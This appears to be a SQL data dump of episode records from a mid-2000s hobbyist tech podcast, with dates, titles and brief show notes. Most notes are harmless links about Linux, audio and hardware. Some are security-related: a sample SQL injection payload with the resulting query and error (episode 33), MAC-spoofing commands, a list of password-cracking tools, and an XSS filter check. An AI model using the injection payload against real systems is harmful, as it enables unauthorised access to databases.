(8,'2005-09-28','Apt-get on Suse',291,'','droops installs apt-get on suse, so that he can use apt-get to take advantage of yast.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(10,'2005-10-02','Network Sniffing',944,'','http://www.irongeek.com/i.php?page=security/AQuickIntrotoSniffers',9,0,1,'CC-BY-NC-SA','',0,0,1),
(11,'2005-10-03','vi',708,'','basics of vi, the best linux text editor',1,0,1,'CC-BY-NC-SA','',0,0,1),
(12,'2005-10-04','Programming Languages',698,'','Intro to programming lessons',10,0,1,'CC-BY-NC-SA','',0,0,1),
(13,'2005-10-05','Kanotix Lovefest',1119,'','pat and Dave \\\"Judland\\\" Bouley love some kanotix',11,0,1,'CC-BY-NC-SA','',0,0,1),
(14,'2005-10-06','Linux directory structure test',944,'','A synopsis of the Linux directory structure according to the file system standards and some tips on effective partitioning for Linux.',7,0,1,'CC-BY-NC-SA','',0,0,1),
(15,'2005-10-09','Computer Forensics',1167,'','a little late, but better late than never',3,0,1,'CC-BY-NC-SA','',0,0,1),
(16,'2005-10-10','Hot or Not',610,'','Schedas hot or not.',5,0,1,'CC-BY-NC-SA','',0,0,1),
(27,'2005-10-25','Securing your box for a hacker con. (uns',690,'','<a href=\\\"http://en.wikipedia.org/wiki/Iptables\\\">Iptables</a>\r\n\r\n\r\n<br><a href=\\\"http://www.netfilter.org/documentation/HOWTO//packet-filtering-HOWTO.html\\\">IPTables how-to</a>\r\n\r\n<br><a href=\\\"http://www.irongeek.com/i.php?page=security/roguefileshares\\\">Article on finding rogue file shares</a>\r\n\r\n<br>\r\n<a href=\\\"http://www.phreaknic.info\\\">PhreakNIC website</a>\r\n\r\n<br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Secure_shell\\\">SSH Info</a>\r\n<br>\r\n<a href=\\\"http://openssh.com/\\\">OpenSSH</a>\r\n<br>\r\n<a href=\\\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\\\">PuTTY</a>\r\n<br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/SOCKS\\\">SOCKS Info</a>\r\n<br><a href=\\\"http://www.freecap.ru/eng/?p=download\\\">FreeCap SOCKS Client (for Windows)\r\n</a>\r\n<br><a href=\\\"http://www.inet.no/dante/\\\">Dante SOCKS client (for Linux)\r\n</a>',9,0,1,'CC-BY-NC-SA','',0,0,1),
(18,'2005-10-13','Jason takes us for a ride....',875,'','To get food',13,0,1,'CC-BY-NC-SA','',0,0,1),
(19,'2005-10-13','Droops - Reads Electric Universe',750,'','droops reads from Electric Universe by David Bodanis',1,0,1,'CC-BY-NC-SA','',0,0,1),
(20,'2005-10-16','LIVE CDs',912,'','<a href=\\\"http://slax.linux-live.org/\\\"> SLAX</a><br>\r\n<a href=\\\"http://www.hakin9.org/en/\\\">Hackin9</a>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(21,'2005-10-17','cell phones and bluetooth',546,'','No Shownotes Provided.',11,0,1,'CC-BY-NC-SA','',0,0,1),
(22,'2005-10-18','C# (c sharp)',1107,'','No Shownotes Provided.',14,0,1,'CC-BY-NC-SA','',0,0,1),
(23,'2005-10-19','More on Intel Processors',1874,'','No Shownotes Provided.',15,0,1,'CC-BY-NC-SA','',0,0,1),
(1,'2005-10-10','Special Episode',583,'','his is the intro episode of TWAT Radio, dosman talks about hyper/multi threading',3,0,1,'CC-BY-NC-SA','',0,0,1),
(24,'2005-10-20','Making CMD.EXE more like your *nix shell',571,'','No Shownotes Provided.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(25,'2005-10-23','Setting up a home recording studio',1538,'','No Shownotes Provided.',46,0,1,'CC-BY-NC-SA','',0,0,1),
(26,'2005-10-24','Debian on a Sharp Zaureus',416,'','No Shownotes Provided.',17,0,1,'CC-BY-NC-SA','',0,0,1),
(28,'2005-10-26','Anti Forensics',1065,'','FireWire - all your memory are belong to us<br>\r\nhttp://md.hudora.de/presentations/#firewire-cansecwest<br>\r\n<br>\r\nAnti-forensics:<br>\r\nhttp://vidstrom.net/<br>\r\n<br>\r\nTalisker Anti <br>Forensic Tools:<br>\r\nhttp://www.networkintrusion.co.uk/foranti.htm<br>\r\n<br>\r\nThe Coroners Toolkit<br> (Dan Farmer and Wietse Venema)<br>\r\nhttp://www.porcupine.org/forensics/tct.html<br>\r\n<br>\r\nI made a statement about a paper Dennis Ritchie wrote, after finding it again it appears it was Ken Thompson that wrote it,<br> easy enough mistake to make ;)<br>\r\nhttp://cm.bell-labs.com/who/ken/trust.html<br>\r\n<br><br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(29,'2005-10-27','Edubuntu on an old computer for children',756,'','No Shownotes Provided.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(30,'2005-10-30','TWAT Info',482,'','Twat is taking a break for a month. <br>We all need to take this month, make some episodes, get new listeners, get new hosts, and make twat so that it is updated every day.<br> p0trill0 is the new site admin, so that we will have more than one person trying to keep things updated.<br>\r\n<br>\r\nDec 1st will start Twat back up again, hopefully with more hosts and more interesting content.<br>\r\n<br>\r\nThanks to all that have gotten us this far.<br>\r\n<br>\r\ndroops had a bit of wine, so if you like infonomicon radio, you really need to listen to this one<br>\r\n\r\n',1,0,1,'CC-BY-NC-SA','',0,0,1),
(31,'2005-11-30','droops starts it off and then it quickly',1125,'','No Shownotes Provided.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(32,'2005-12-01','Password Management',350,'','Many of us have the problem of trying to remember and un-godly amount of\r\npasswords for the various services and programs that we use on a daily\r\nbasis.<br> So I am gonna talk about portable password managment solutions. <br>All\r\nthe passwords are protected by one master password that is necessary to\r\noperating the software.<br> Some of the software packages also have the\r\nfunctionality of creating pseudo-random passwords on the fly, so if you need\r\na new password you don’t have to make one up, the software will make one for\r\nyou and I promise it will be more secure than anything you can think of.<br>\r\n<br>\r\nhttp://www.roboform.com<br>\r\nhttp://www.keywarden.com<br>',2,0,1,'CC-BY-NC-SA','',0,0,1),
(33,'2005-12-04','sql injection',351,'','Sample Injection: ‘OR’1′=’1<br>\r\nQuery sent with this injection:<br> SELECT FROM users WHERE ‘‘OR’1′=’1′<br>\r\n<br>\r\nSample ODBC Error:<br>\r\n<br>\r\nMicrosoft OLE DB <br>Provider for ODBC Drivers error ‘80040e14′<br>\r\n<br>\r\n[Microsoft][ODBC SQL<br> Server Driver][SQL Server]Unclosed quotation mark before the character string ‘\\\'’.<br>\r\n<br>\r\n*****************/logon.asp,<br> line 4\r\n<br>\r\nhttp://us2.php.net/manual-lookup.php?pattern=escape_string<br>\r\n<br>\r\nth3j0k3r@gmail.com<br>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(34,'2005-12-05','Piracy',2481,'','No Shownotes Provided.',18,0,1,'CC-BY-NC-SA','',0,0,1),
(35,'2005-12-06','Switches and Hubs',806,'','No Shownotes Provided.',19,0,1,'CC-BY-NC-SA','',0,0,1),
(36,'2005-12-07','Secure Deletion',729,'','No Shownotes Provided.',2,0,1,'CC-BY-NC-SA','',0,0,1),
(37,'2005-12-08','Various things',1212,'','Studio Buddy –<br>\r\nhttp://www.studiobuddy.com<br>\r\nhttp://www.studiobuddy.com/thankyouindex.html<br>\r\n<br>\r\nMusician’s Friend –<br>\r\nhttp://www.musiciansfriend.com<br>\r\n<br>\r\nSweetwater –<br>\r\nhttp://www.sweetwater.com<br>\r\n<br>\r\nAmerican Music Supply –<br>\r\nhttp://www.americanmusical.com <br>',46,0,1,'CC-BY-NC-SA','',0,0,1),
(38,'2006-03-04','Dr^ZigMan & Lowtek Mystik',624,'','Sharing some of their recent hardware experiences.<br> Dr^ZigMan does the video Hack TV at  Binrev Lowtek Mystik hosts Ninja Night School Radio at Podcast Incubator',27,0,1,'CC-BY-NC-SA','',0,0,1),
(39,'2005-12-12','Change MAC address',383,'','http://www.irongeek.com/i.php?page=security/changemac<br>\r\n<br>\r\nLinux Commands to change MAC address:<br>\r\n<br>\r\nifconfig eth0 down hw ether 00:00:00:00:00:01<br>\r\nifconfig eth0 up<br>\r\n<br>\r\nWindows Tools:<br>\r\n<br>\r\nMac Makeup<br>\r\n<br>\r\nSmac<br>\r\n<br>\r\nEtherchange<br>\r\n',9,0,1,'CC-BY-NC-SA','',0,0,1),
(40,'2005-12-13','Microsoft Virtual Desktop Manager',274,'','No Shownotes Provided.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(41,'2005-12-14','Ultimate Linux box',508,'','No Shownotes Provided.',20,0,1,'CC-BY-NC-SA','',0,0,1),
(42,'2005-12-15','Seven Bits, No Waiting',229,'','No Shownotes Provided.',13,0,1,'CC-BY-NC-SA','',0,0,1),
(43,'2005-12-18','Sam File',712,'','Irongeek’s PE Builder Tutorial<br>\r\n<br>\r\nSala’s Password Renew Tool<br>\r\n<br>\r\nOffline NT Password & Registry Editor<br>\r\n<br>\r\nCain<br>\r\n<br>\r\nBKhive<br>\r\n<br>\r\nJohn the Ripper<br>\r\n<br>\r\nRainbowCrack<br>\r\n<br>\r\nOPHCRACK<br>\r\n<br>\r\nTurn off LM Hash storage<br>\r\n<br>\r\nIrongeek’s Videos and articles on SAM<br> cracking:<br>\r\nLocal Sam Crack<br>\r\nLocal Sam Crack part 2<br>\r\nLocalPasswordCracking\r\n<br>SamDump2 in Auditor\r\n\r\n<br>\r\nSmac<br>\r\n<br>\r\nEtherchange<br>\r\n',9,0,1,'CC-BY-NC-SA','',0,0,1),
(44,'2005-12-20','Serial Port',323,'','<a href=\\\"http://www.lcdgallery.net/\\\">LCD Gallery</A>\r\n<br>\r\n<a href=\\\"http://www.eio.com/lcd2014.gif\\\">Diagram</a>\r\n',8,0,1,'CC-BY-NC-SA','',0,0,1),
(45,'2005-12-20','Tour of Boston Telephone System',915,'','No Shownotes Provided.',14,0,1,'CC-BY-NC-SA','',0,0,1),
(46,'2005-12-21','Package Management Systems',614,'','No Shownotes Provided.',11,0,1,'CC-BY-NC-SA','',0,0,1),
(47,'2005-12-22',' ',1502,'','http://desktopmanager.berlios.de/\r\n\r\nhttp://quicksilver.blacktree.com/\r\n\r\nFluxbox fbkeys entery:\r\n\r\nMod1 space :execCommand fbrun\r\n\r\nWindowmaker entery:\r\n\r\n(Run…, SHORTCUT, “Mod1+space”, EXEC, “%a(Run,Type command to run:)”),\r\n\r\ncp parameters to copy partition to new location:\r\n\r\ncp -a same as -dpr\r\n\r\n    * no-deference=don’t follow links\r\n      preserve links\r\n    * reserve permissions\r\n    * recursive\r\n\r\n',7,0,1,'CC-BY-NC-SA','',0,0,1),
(79,'2006-03-08','Paypal Integration',849,'','http://www.infonomicon.org/ziggy1/twat79/buynowbutton.inc.php.txt',27,0,1,'CC-BY-NC-SA','',0,0,1),
(48,'2005-12-26','Video cameras',1306,'','\r\n<a href=\\\"http://deadbeef.packetsniffers.org/beginners_guide.html\\\">More video production info:</a>\r\n',3,0,1,'CC-BY-NC-SA','',0,0,1),
(49,'2005-12-27','RPG Programming',2046,'','No Shownotes Provided.',2,0,1,'CC-BY-NC-SA','',0,0,1),
(50,'2005-12-28','Remote Logins',715,'','FreeNX can be found at <a href=\\\"http://freenx.berlios.de\\\">\r\nFreeNX can be found at</a>',21,0,1,'CC-BY-NC-SA','',0,0,1),
(51,'2005-12-29','YAPL',1148,'','Lowtek too!!\r\n',2,0,1,'CC-BY-NC-SA','',0,0,1),
(52,'2006-01-05','Asterisk@Home',704,'','<a href=\\\"http://asteriskathome.sourceforge.net\\\">http://asteriskathome.sourceforge.net</a><br>\r\n<a href=\\\"http://asterisk.org\\\">http://asterisk.org</a><br>\r\n<a href=\\\"http://www.voxilla.com\\\">voxilla.com</a><br>\r\n<a href=\\\"http://www.voip-info.org\\\">voip-info.org</a><br>\r\n<a href=\\\"http://www.nuphone.net\\\">nuphone.net</a><br>\r\n<a href=\\\"http://www.voipjet.com\\\">voipjet.com</a>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(53,'2006-01-02','Emulation Station',545,'','Disclamer ( Be good and follow Rules! ) - http://www.electrostuff.net/romsmain.htm\r\n\r\nPictures And Two short movies of my rig. - http://www.electrostuff.net/phpbb2/viewtopic.php?p=34#34\r\n\r\nEmulators - http://www.emulator-zone.com/\r\n\r\nRoms - http://www.freeroms.com/ - http://www.rom-world.com ',22,0,1,'CC-BY-NC-SA','',0,0,1),
(54,'2006-01-03','Remote Control Hacking',932,'','No Shownotes Provided.',81,0,1,'CC-BY-NC-SA','',0,0,1),
(55,'2006-01-04','Listen',505,'','No Shownotes Provided.',24,0,1,'CC-BY-NC-SA','',0,0,1),
(56,'2006-01-05','QWERTY History',1339,'','No Shownotes Provided.',23,0,1,'CC-BY-NC-SA','',0,0,1),
(57,'2006-01-08','Hacker Salsa',519,'','No Shownotes Provided.',26,0,1,'CC-BY-NC-SA','',0,0,1),
(58,'2006-01-09','Softball Launcher',387,'','Dr^ZigMan discusses his thinking process during the initial development and\r\n“fabrication” of a softball launcher.\r\n\r\nMore information on <a href=\\\"http://www.gaffer.org/articles/Springs.html\\\"><br>\r\n\r\nspring constant k values </a>\r\n',27,0,1,'CC-BY-NC-SA','',0,0,1),
(59,'2006-01-10','VLAN\\\'s',1290,'','http://mcbx.dyndns.org/pub/TWATs/twat059_notes.txt',19,0,1,'CC-BY-NC-SA','',0,0,1),
(60,'2006-01-11',' DSDT.aml And Linux',756,'','	<p><a href=\\\"http://acpi.sourceforge.net/dsdt/index.php\\\">DSDT repository</a></p>\r\n	<p><a href=\\\"http://gentoo-wiki.com/HOWTO_Fix_Common_ACPI_Problems\\\">Great how-to that got me Started</a></p>\r\n	<p><a href=\\\"http://developer.intel.com/technology/iapc/acpi/downloads.htm\\\">Intel’s ASL Compiler</a></p>\r\n	<p>You will need to have bison and flex-old install to make iasl</p>\r\n	<p>To obtain your present dsdt file drop to term and type<br>\r\n	‘ cat /proc/acpi/dsdt &gt; dsdt.dat ‘</p>\r\n\r\n	<p>To decompile dsdt.dat and get a dsdt.dsl drop to term and type<br>\r\n	‘ ./iasl -d dsdt.dat ‘</p>\r\n	<p>To recompile dsdt.dsl and get a DSDT.aml drop to term and type<br>\r\n        ‘./iasl -tc dsdt.dsl’</p>',21,0,1,'CC-BY-NC-SA','',0,0,1),
(61,'2006-01-16','Windows browsing at work',484,'','http://www.htthost.com/\r\n\r\nhttp://www.ghostzilla.com/\r\n\r\nhttp://www.proxyplus.cz/\r\n\r\nTheYellow1- at- gmail.com',70,0,1,'CC-BY-NC-SA','',0,0,1),
(62,'2006-01-17','WRT hacking',293,'','Will Jason\r\n\r\n***Hacking the WRT54G***\r\n\r\n-WRT54G is a Linksys router and highly customizable with custom firmwares\r\n\r\n-WRT54G - 16 MB of RAM & 4 MB of Flash\r\nWRT54GS - 32 MB of RAM & 8 MB of Flash\r\n\r\n-WRT54GS version 5 is not hackable because of the reduced RAM and Flash size. Instead of running Linux, it runs VxWorks. Because of this, Linksys has released the WRT54GL to appeal to the modders of the community. WRT54GL is the same as the older version of the WRT54G.\r\n\r\n-Any other version of WRT54G or GS will work\r\n\r\n-If you have to pay for a good firmware, then you’re getting ripped off\r\n\r\n-DD-WRT is for those who wants more options in the router without the configuration of everything else. Simply upload via the web interface and you’re done.\r\n\r\n-OpenWRT has the ipkg package management system included and many packages are available to add. You could virtual host a site, run a small FTP server, or set up an Asterisk box. I’d love to list all of the things you could do, but that’d take a while.\r\n\r\n-For free firmwares:\r\nDD-WRT –> http://www.dd-wrt.com\r\nOpenWRT –> http://www.openwrt.org\r\n\r\n-There are plenty more choices for firmwares, but I only named two. I think that they’re the best, but strictly opinion.\r\n\r\n-email me at willjasen -at- charter.net. I know I said Gmail on the show, but I thought I was prepared to switch, but I’m not. ',71,0,1,'CC-BY-NC-SA','',0,0,1),
(63,'2006-01-17','TWAT',233,'','No Shownotes Provided.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(64,'2006-01-19','Cygwin Exploits',404,'','No Shownotes Provided.',9,0,1,'CC-BY-NC-SA','',0,0,1),
(65,'2006-01-22','Xampp',274,'','http://www.apachefriends.org/de/\r\n\r\ntar xvfz xampp-linux-1.5.1.tar.gz -C /opt\r\n/opt/lampp/lampp start \r\n',1,0,1,'CC-BY-NC-SA','',0,0,1),
(66,'2006-01-23','Numbering Systems for noobs',0,'','============================\r\nDecimal (Base 10 system)\r\n\r\n143\r\n||1…….1*3 +\r\n|10……10*4 +\r\n100…..100*1\r\n—————\r\n= 143\r\n\r\n============================\r\nBinary (Base 2 system)\r\n\r\n10001111\r\n|||||||1..1*1 +\r\n||||||2…2*1 +\r\n|||||4….4*1 +\r\n||||8…..8*1 +\r\n|||16….16*0 +\r\n||32…..32*0 +\r\n|64……64*0 +\r\n128…..128*1\r\n—————\r\n= 143 (decimal)\r\n\r\n============================\r\nHexadecimal (Base 16 system)\r\nShorthand for binary…\r\n\r\n 10001111 (segment into groups of 4’s)\r\n     ^\r\n     |\r\n1000 | 1111\r\n  8      F\r\n————\r\n= 8F or 0×8F\r\n\r\n',46,0,1,'CC-BY-NC-SA','',0,0,1),
(68,'2006-01-25','Caffeine!',563,'','No Shownotes Provided.',8,0,1,'CC-BY-NC-SA','',0,0,1),
(70,'2006-01-26','Editing in linux',1448,'','Applications\r\n\r\nTranscode\r\n\r\nMplayer/Mencoder\r\n\\\\\r\n\r\nKino & Linux Digital Video\r\n\r\nLiVES\r\n\r\ntovid\r\n\r\nVideo Lan Client\r\n\r\nQdvdauthor',11,0,1,'CC-BY-NC-SA','',0,0,1),
(71,'2006-01-29','OAT\\\'s',329,'','No Shownotes Provided.',4,0,1,'CC-BY-NC-SA','',0,0,1),
(72,'2006-01-30','More goodness on video production in Lin',1468,'','PAT too!!!!',7,0,1,'CC-BY-NC-SA','',0,0,1),
(73,'2006-02-02','TWAT',139,'','no reason to listen to this one folks, we are talking the month of febuary off, to work on the show. We didnt plan for twat to be become so polular, and we need to get a few things done. First off we need more hosts and backup episodes, but we all know that, why are we all not helping? second of all, we need to get away from wordpress and build our own system. wordpress is nice as it is easy to edit, but its not real searchable, we cant have a chart of how many shows people have done, things are not formatted the same, so we are building our own cms. so take the month off, do something productive, and get some twat eps recorded.\r\n\r\nif you want to help with the website, we need a graphics guy, please email droops@gmail if you are any good at such things.\r\n\r\n',1,0,1,'CC-BY-NC-SA','',0,0,1),
(74,'2006-02-28','WRT Hacking',2199,'','yes!!!',81,0,1,'CC-BY-NC-SA','',0,0,1),
(75,'2006-03-01','DVD Copying',609,'','<a href=\\\"http://www.dvdshrink.org\\\">DVD Shrink</a><br>\r\n<a href=\\\"http://tinyurl.com/k4ms6\\\">DVD Decrypter</a><br>\r\n<a href=\\\"http://tinyurl.com/n7oj7%20\\\">PgcEdit</a><br>\r\n<a href=\\\"http://tinyurl.com/bgrv8\\\">How To Copy ArccOS & Plugin</a><br><br>\r\nCan you copy?<br>\r\n<a href=\\\"http://tinyurl.com/s44gs\\\"><br>\r\nCnet Info</a><br>\r\n<a href=\\\"http://tinyurl.com/qfe3m\\\">PCWorld</a>',22,0,1,'CC-BY-NC-SA','',0,0,1),
(76,'2006-03-05','Setting up an Icecast server',1490,'','<a href=\\\"http://www.icecast.org\\\">icecast homepage</a><br>\r\n<a href=\\\"http://www.xiph.org\\\">Xiph Foundation</a><br>\r\n<a href=\\\"http://muse.dyne.org\\\">MuSE - Multistreaming Engine</a><br>\r\n<a href=\\\"http://dynebolic.org\\\">Dynebolic - Live Multimedia Linux Distro</a><br><br>\r\nThat xargs command:<br>\r\nls *.[mp3,ogg]* | xargs -i echo http://myhost.org:8000/{}” > playlist.m3u',7,0,1,'CC-BY-NC-SA','',0,0,1),
(77,'2006-03-06','Cron Jobs',525,'','quick and drity cron jobs.',1,0,1,'CC-BY-NC-SA','',0,0,1),
(78,'2006-03-07','Jason Scott ',267,'','Jason Scott follows Droops to a new awakening.',13,0,1,'CC-BY-NC-SA','',0,0,1),
(80,'2006-03-09','Honeypots',434,'','http://www.honeynet.org/papers/uml/\r\n\r\nhttp://www.securityfocus.com/infocus/1803\r\n\r\nhttp://www.securityfocus.com/infocus/1805\r\n',10,0,1,'CC-BY-NC-SA','',0,0,1),
(81,'2006-03-12','AUDACITY GO!!',2680,'','Introduction of Audacity, and the basics of making a audiofile in Audacity. (44:40)\r\n<br>\r\nDownload OGG or MP3<br>\r\nhttp://www.twatech.org/eps/twat081.ogg<br>\r\nhttp://www.twatech.org/eps/twat081.mp3<br>\r\n\r\nAudacity Homepage & Audacity Forums (f.a.q. and other help)<br>\r\nhttp://audacity.sourceforge.net/<br>\r\nhttp://audacityteam.org/forum/<br>\r\n\r\ndB Power Amp for conversion of audio files. <br>\r\nhttp://www.dbpoweramp.com/<br>',23,0,1,'CC-BY-NC-SA','',0,0,1),
(83,'2006-03-15','Wireless Client Mode',834,'','No Shownotes Provided.',71,0,1,'CC-BY-NC-SA','',0,0,1),
(82,'2006-03-14','Windows Command Line',834,'','<a href=\\\"http://tinyurl.com/kmy\\\">Windows 2000 Command Line Reference</a> http://tinyurl.com/kmy<br />\r\n<a href=\\\"http://tinyurl.com/36leu\\\">Windows XP Command Line Reference</a> http://tinyurl.com/36leu<br />\r\n<a href=\\\"http://tinyurl.com/qaer3\\\">Windows 2003 Command Line Reference</a> http://tinyurl.com/qaer3<br />\r\n\r\n<a href=\\\"http://tinyurl.com/nuvhj\\\">REGFIND</a><br />\r\n<a href=\\\"http://tinyurl.com/isxm\\\">Description of the Microsoft Windows registry</a>',28,0,1,'CC-BY-NC-SA','',0,0,1),
(84,'2006-03-19','HTTrack',479,'','\r\n\r\n<a href=\\\"http://www.httrack.com \\\">\r\nHTTrack</a>',21,0,1,'CC-BY-NC-SA','',0,0,1),
(85,'2006-03-21','Cybiko',961,'','<a href=\\\"http://www.dbzoo.com/wiki/cybiko/cybiko/\\\">DBZoo\\\'s Cybiko Wiki </a>\r\n<br><br>\r\n<a href=\\\"http://thinkable.us/DevCybiko/\\\">DevCybiko:</a> The last best resource for Cybiko users. Active forums and a very good softare archive.\r\n',3,0,1,'CC-BY-NC-SA','',0,0,1),
(86,'2006-03-23','RFID',1880,'','Co-Host: Lowtek Mystik<br>\r\n<br>\r\nToday\'s show is all about RFID and an introduction into the technology and possibilites.<br>\r\n<br>\r\n<a href=\\\"http://www.rfidtoys.net/\">Software</a><br>\r\n<br>\r\n<a href=\\\"http://tinyurl.com/exm59\">Get the book</a><br>\r\n<br>\r\n<a href=\\\"http://tinyurl.com/g2c24\">125Khz Reader</a><br>\r\n',2,0,1,'CC-BY-NC-SA','',0,0,1),
(87,'2006-03-27','Pat - Me and Linux',688,'','No notes provided.',11,0,1,'CC-BY-NC-SA','',0,0,1),
(88,'2006-03-28','Building More Secure Web Applications',594,'','<a href=\\\"http://muffin.doit.org\\\">muffin</a><br />\r\n<a href=\\\"http://addneditcookies.mozdev.org\\\">add n edit cookies</a><br />\r\n<a href=\\\"http://refspoof.mozdev.org\\\">refspoof</a><br />\r\n<a href=\\\"http://chrispederick.com/work/webdeveloper\\\">web developer toolbar</a><br />\r\n<a href=\\\"http://chrispederick.com/work/useragentswitcher\\\">user-agent switcher</a><br /><br />\r\n<u>Comment System Looking for onmouseover</U><br />\r\n\r\nif ((isset($_POST)) && $_POST[\\\'name\\\'] != NULL && $_POST[\\\'comment\\\'] != NULL && $_POST[\\\'comment\\\'] != \\\"Enter your comment here!\\\" && !strstr($emaillower,\\\'onmouseover=\\\')) {\r\n',12,0,1,'CC-BY-NC-SA','',0,0,1),
(89,'2006-03-29','Fun at Security Cons',537,'','No Shownotes',9,0,1,'CC-BY-NC-SA','',0,0,1),
(90,'2006-03-30','Free-win32',611,'','Zerocost programs for Windows\r\n<br />\r\nWebsite: http://www.iunplug.nl/Windows',30,0,1,'CC-BY-NC-SA','',0,0,1),
(91,'2006-04-02','Computer Troubleshooting tips',704,'','Contact me at xcalibur1337 -at- gmail.com',31,0,1,'CC-BY-NC-SA','',0,0,1),
(92,'2006-04-03','DVD Region Unlocking',367,'','<a href=\\\"http://www.rpc1.org\\\">http://www.rpc1.org</a> Region free firmware database<br />\r\n<a href=\\\"http://www.doom9.org/Soft21/Regionfree/driveinfo22.zip\\\">drive info</a>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(93,'2006-04-04','Terminal Servers and Thin Clients',555,'','<a href=\"http://www.ltsp.org\\\">Linux Terminal Server Project</a><br />\r\n\r\n<a href=\"http://tinyurl.com/59ml\">Windows Server 2003 Terminal Services</a><br />\r\n\r\n<a href=\"http://tinyurl.com/r486v\">\r\nWindows 2000 Terminal Services</a><br />\r\n\r\n<a href=\"http://tinyurl.com/84kx5\">Gamecube Linux</a><br />\r\n\r\n<a href=\"http://pxes.sourceforge.net\">PXES Linux</a>',32,0,1,'CC-BY-NC-SA','',0,0,1),
(94,'2006-04-05','Danger Sidekick Mod!',523,'','Adding a little color to the drab grey exterior, a quick walk through of how I painted my sidekick.  Now my sidekick is l33t because It has a custom paintjob, and for less then you would spend on a USB key you can have an uber 1337 sidekick too!',27,0,1,'CC-BY-NC-SA','',0,0,1),
(95,'2006-04-10','Windows from commandline',947,'','<br>\r\n<a href=\\\"http://tinyurl.com/ac9d\\\">MSDN entry describing Services</a><br>\r\n<a href=\\\"http://tinyurl.com/s78tk\\\">SC.ZIP</a><br>\r\n<a href=\\\"http://tinyurl.com/p6kct\\\">SC For Window 2003 Manual</a><br>\r\n<a href=\\\"http://tinyurl.com/hx8nc\\\">SRVANY.ZIP</a><br>\r\n<a href=\\\"http://tinyurl.com/kh9lp\\\">SP4 Support Tools</a><br>',28,0,1,'CC-BY-NC-SA','',0,0,1),
(96,'2006-04-11','Linux Distros',1379,'','Article for Topic Idea	<br>http://www.linuxforums.org/reviews/overview_of_the_ten_major_linux_distributions.html<br>\r\n<br>\r\n<br>\r\nDebian and Derivs.<br>\r\n<br>\r\nDebian	http://www.debian.org/<br>\r\nDamn Small Linux  http://www.damnsmalllinux.org/<br>\r\nKnoppix http://www.knoppix.com/<br>\r\nKanotix http://kanotix.com/index.php?&newlang=eng<br>\r\nMepis   http://www.mepis.com/<br>\r\nUbuntu  http://www.ubuntu.com/<br>\r\nXandros http://www.xandros.com/<br>\r\n<br>\r\nRpm Based<br>\r\n<br>\r\nFedora   http://fedoraproject.org/wiki/<br>\r\nMandriva http://wwwnew.mandriva.com/<br>\r\nOpenSuSE http://en.opensuse.org/Welcome_to_openSUSE.org<br>\r\n<br>\r\nSource and Other<br>\r\n<br>\r\nSlackware http://www.slackware.com/<br>\r\nBackTrack http://www.remote-exploit.org/index.php/Main_Page<br>\r\nGentoo    http://www.gentoo.org/<br>\r\nArchLinux http://www.archlinux.org/<br>\r\n<br>\r\nCheck Here for any Distro!  http://distrowatch.com/<br>\r\n',21,0,1,'CC-BY-NC-SA','',0,0,1),
(97,'2006-04-13',' Physical Security Case Mods part 1',451,'','no notes',26,0,1,'CC-BY-NC-SA','',0,0,1),
(98,'2006-04-17','Audacity Tips',1124,'','\r\n\r\nTWAT 98 explains how to fix varried audio decibel levels and/or boost an audio t\r\nrack\\\'s decibel levels using tools in Audacity.',7,0,1,'CC-BY-NC-SA','',0,0,1),
(99,'2006-04-19','Water Cooling Rig',454,'','<a href=\"http://www.electrostuff.net/phpbb2/viewtopic.php?t=291\">Water  Rig!</a>',22,0,1,'CC-BY-NC-SA','',0,0,1),
(100,'2006-04-23','The 100th Episode Spectacular',671,'','this episode is on default',33,0,1,'CC-BY-NC-SA','',0,0,1),
(101,'2006-04-24','Shoutcast',498,'','No shownotes Submitted.',34,0,1,'CC-BY-NC-SA','',0,0,1),
(102,'2006-04-25','Carriage Return',939,'','No notes',81,0,1,'CC-BY-NC-SA','',0,0,1),
(103,'2006-04-26','Notafighter',649,'','<a href=\\\"http://www.packetsniffers.org/projects/notafighter\\\">Notafighter</a>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(104,'2006-04-27','Myth TV',700,'','MythTV Related websites and mailing lists:<br>\r\n<br>\r\n<a href=\\\"http://www.mythtv.org/\\\">http://www.mythtv.org/</a>\r\n<br><a href=\\\"http://www.mythtv.org/mailman/listinfo/mythtv-users/\\\">http://www.mythtv.org/mailman/listinfo/mythtv-users/</a>\r\n<br><a href=\\\"http://www.hauppauge.com/\\\">http://www.hauppauge.com/</a>\r\n<br><a href=\\\"http://www.pchdtv.com/hd_3000.html\\\">http://www.pchdtv.com/hd_3000.html</a>\r\n<br><a href=\\\"http://mysettopbox.tv/knoppmyth.html\\\"><http://mysettopbox.tv/knoppmyth.html/a>\r\n<br><a href=\\\"http://wilsonet.com/mythtv/fcmyth.php\\\">http://wilsonet.com/mythtv/fcmyth.php</a>\r\n<br><a href=\\\"http://ivtv.sourceforge.net/\\\">http://ivtv.sourceforge.net/</a>\r\n',11,0,1,'CC-BY-NC-SA','',0,0,1),
(105,'2006-04-30','Footprinting',715,'','No notes',35,0,1,'CC-BY-NC-SA','',0,0,1),
(106,'2006-05-01','Alternative Data Streams',557,'','<a href=\"http://www.irongeek.com/i.php?page=security/altds\\\">Alternative Data Streams</a>',9,0,1,'CC-BY-NC-SA','',0,0,1),
(107,'2006-05-02','Portable Tools',874,'','<a href=\\\"http://unxutils.sourceforge.net\\\">\\\"GNU utilities for Win32\\\"</a><br>\r\n<a href=\\\"http://cygwin.com\\\">Cygwin</a><br>\r\n<a href=\\\"http://www.dependencywalker.com\\\">Dependancy Walker</a><br>\r\n<a href=\\\"http://www.sysinternals.com\\\">Sysinternals is only ctrl+enter away</a><br>\r\n<a href=\\\"http://www.winpcap.org\\\">Windump</a><br>\r\n<a href=\\\"http://www.microolap.com/products/network/tcpdump/\\\">TCPDump</a><br>\r\n',28,0,1,'CC-BY-NC-SA','',0,0,1),
